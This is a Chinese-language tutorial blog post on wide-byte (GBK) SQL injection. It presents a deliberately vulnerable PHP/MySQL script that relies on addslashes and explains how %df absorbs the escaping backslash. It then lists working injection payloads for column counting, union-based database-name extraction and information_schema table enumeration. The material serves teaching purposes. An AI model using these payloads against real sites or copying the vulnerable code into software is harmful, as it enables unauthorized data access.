宽字节注入原理分析

吃可爱长大的小学妹 提交于 2020-03-11 03:44:55

前言

什么是宽字节注入?

可以简单的理解成,拼凑转义符(\)。组成一个新的字符

而形成 宽字节注入 的方法,有:

SET NAMES 'gbk'
或者(上面一行等于  下面三行)
SET character_set_connection='gbk'
SET character_set_results='gbk'
SET character_set_client=gbk

所以,一般情况下都是用第一行来设置编码的。

 

正文:

 

0x01 宽字节注入原理(源码)

<?php
$conn = mysql_connect('localhost', 'root', 'root') or die('bad!');
mysql_select_db('test', $conn) OR emMsg("数据库连接失败");
mysql_query("SET NAMES 'gbk'",$conn);
 
$id = addslashes($_GET['id']);
$sql="select * from user where id='$id'";
$result = mysql_query($sql, $conn) or die(mysql_error()); 
$row = mysql_fetch_array($result);
if($row){
	echo $row['username'] . $row['address'];
}else{
	print_r(mysql_error());
}?>
</font> 
<?php
echo "<br>SQL语句: ".$sql;
?>

1.

看下面这2张图,发现第一张出现了斜杠,进行了转义。而第二张没有。查看上面代码

发现设置了gbk编码(路人甲:这不废话吗!我:这感觉有点不好讲~)

这时候我们查看 $id,其实最主要的还是这个 addslashes() 函数,这样的话就出现了斜杠。

2.

但是刚好数据库设置编码,为gbk(还有GB2312、GBK、GB18030、BIG5、Shift_JIS等)

这样的话就可以拼接起来,我们需要单引号去闭合,但是一出现单引号,就会出现反斜杠转义

这时候我们在单引号前面加个 %df 。url编码后的双引号为 %27,反斜杠(\)编码后为  %5c

拼接成了一个新的字符 %df%5c 于是变成了 (運)

也就是说 : %df%5c  =  運

----------------------------分割----------------------------------------

addslashes()函数:会怼 单引号('),双引号("),斜杠(\),和null字符进行转义

 

这时候发现成功的把反斜杠给吃掉了,吃掉之后就和 前面的 联合查询注入一样

 

0x02 宽字节注入步骤

第一步:order by排序:

这时候order by 4的时候报错,判断 字段数 为3

id=1%df' order by 1--+
id=1%df' order by 2--+
id=1%df' order by 3--+
id=1%df' order by 4--+

 

第二步:union select 查询库名

id=1%df' and 1=2 union slect 1,database(),3 --+

 

第三步:查询表名

id=1%df' and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1--+

然后就和前面的一样,一技通万法。哈哈哈~~

 

文末:

其实宽字节注入跟其他的差不多,没啥的。只是加个个 %df。或者只要是个任意汉字都可以,只要是一个字就可以。

然后写脚本的话,也跟前面的报错注入,盲注没啥区别,依然是用for循环。我就不造轮子啦~

 

 

标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!